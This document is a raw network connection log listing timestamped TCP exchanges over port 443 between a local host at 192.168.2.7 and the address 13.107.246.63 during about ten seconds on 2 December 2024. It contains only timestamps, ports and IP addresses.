Dec 2, 2024 01:35:44.680907011 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.681108952 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.700722933 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.700736046 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.712618113 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.712666988 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.712730885 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.712927103 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.712939024 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.714082956 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.714112997 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.714176893 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.714337111 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.714353085 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.755333900 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.758531094 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.758577108 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.758588076 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.758604050 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.758652925 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.784188032 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.784199953 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.784212112 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.784216881 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.807661057 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.807708979 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.807768106 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.817527056 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.817539930 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:45.814753056 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:45.848803043 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:45.848834991 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:45.849281073 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:45.849287033 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.258333921 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.262164116 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.262212038 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.262242079 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.262451887 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.263592005 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.263611078 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.263644934 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.263649940 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.310767889 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.310820103 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.311027050 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.322372913 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.322386026 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.496587992 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.539151907 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.549706936 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.583520889 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.583549976 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.584523916 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.584528923 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.584544897 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.584566116 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.585377932 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.585400105 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.585407972 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.585407972 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.585908890 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.585913897 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.598553896 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.599003077 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.599031925 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.599455118 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.599458933 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.931583881 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.931674957 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.931725025 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.964248896 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.964268923 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.964282036 CET	50032	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.964287996 CET	443	50032	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.980292082 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.980334997 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.980391979 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.985306025 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.987108946 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.987123013 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.988362074 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.988459110 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.991935015 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.991935015 CET	50030	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.991954088 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.991962910 CET	443	50030	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.994735956 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.997946024 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.997992992 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.997992039 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.998029947 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.998127937 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.998143911 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:46.998155117 CET	50031	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:46.998159885 CET	443	50031	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.042470932 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.046050072 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.046089888 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.053781033 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.053809881 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.053863049 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.055391073 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.055413961 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.055423975 CET	50033	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.055429935 CET	443	50033	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.085388899 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.085402966 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.092259884 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.092298031 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.092372894 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.093477964 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.093492031 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.093539000 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.093738079 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.093746901 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:47.094316006 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:47.094336033 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.103022099 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.107748985 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.107784986 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.107969999 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.107973099 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.549561024 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.549712896 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.549768925 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.549808025 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.549855947 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.572299957 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.572324038 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.572341919 CET	50034	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.572346926 CET	443	50034	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.599432945 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.599478006 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.602611065 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.612478018 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.612495899 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.706440926 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.710967064 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.711000919 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.714426041 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.714442968 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.889166117 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.890017033 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.926229000 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.926263094 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.926687002 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.926692963 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.926980972 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.927004099 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.927409887 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:48.927413940 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:48.960899115 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.021594048 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.021634102 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.022697926 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.022703886 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.141819000 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.144923925 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.148180008 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.186759949 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.186759949 CET	50035	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.186794996 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.186806917 CET	443	50035	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.286670923 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.286720037 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.286897898 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.305145979 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.305165052 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.332566023 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.333710909 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.337312937 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.337558985 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337558985 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337558985 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337703943 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.337786913 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337786913 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337812901 CET	50037	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.337830067 CET	443	50037	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.354012966 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.354058027 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.354290009 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.381159067 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.381200075 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.392494917 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.392529964 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.392585993 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.392812014 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.392822981 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.414675951 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.418632030 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.418697119 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.418747902 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.421396971 CET	50038	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.421415091 CET	443	50038	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.484889030 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.484935999 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.484992981 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.487837076 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.487862110 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:49.654861927 CET	50036	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:49.654894114 CET	443	50036	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.327384949 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.390587091 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.390614986 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.391330957 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.391339064 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.762070894 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.765358925 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.765439034 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.765485048 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.765523911 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.789840937 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.789866924 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.789876938 CET	50039	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.789884090 CET	443	50039	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.885682106 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.885730028 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:50.885797024 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.901047945 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:50.901078939 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.085005045 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.094084978 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.094121933 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.094521999 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.094530106 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.112241983 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.112629890 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.112651110 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.113059044 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.113061905 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.161770105 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.186779022 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.186800957 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.187242031 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.187246084 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.269893885 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.277277946 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.277309895 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.277767897 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.277774096 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.528628111 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.532201052 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.532315969 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.546457052 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.550220966 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.550260067 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.550273895 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.550287008 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.550338030 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.555828094 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.555846930 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.555856943 CET	50040	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.555864096 CET	443	50040	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.557811975 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.557816982 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.557826996 CET	50042	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.557831049 CET	443	50042	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.605585098 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.609117031 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.609258890 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.679294109 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.679328918 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.679342031 CET	50041	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.679348946 CET	443	50041	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.715171099 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.715261936 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.715356112 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.716381073 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.716434956 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.718364000 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.729027033 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.729079962 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.729159117 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.729660988 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.729682922 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.729693890 CET	50043	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.729697943 CET	443	50043	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.734046936 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.734072924 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.734133005 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.734714985 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.734729052 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.748195887 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.748218060 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.749326944 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.749363899 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.749429941 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.749867916 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.749886990 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:51.754523993 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:51.754538059 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:52.616163969 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:52.630079985 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:52.630111933 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:52.630669117 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:52.630676031 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.051091909 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.054183006 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.054264069 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.060321093 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.060347080 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.060362101 CET	50044	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.060368061 CET	443	50044	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.091902971 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.091955900 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.092015982 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.143985987 CET	50049	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.144011974 CET	443	50049	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.557101011 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.557403088 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.570466042 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.573601007 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.573621035 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.574126959 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.574132919 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.574366093 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.574379921 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.574821949 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.574826002 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.575057983 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.575092077 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.575484037 CET	50048	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.575490952 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.773058891 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.779074907 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.779123068 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:53.779557943 CET	50046	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:53.779567003 CET	443	50046	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.000907898 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.002490044 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.004209995 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.004271984 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.005481958 CET	443	50047	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.005537987 CET	50047	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.013360023 CET	443	50048	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.014239073 CET	50045	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:54.014256954 CET	443	50045	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:54.014266014 CET	50045	443	192.168.2.7	13.107.246.63
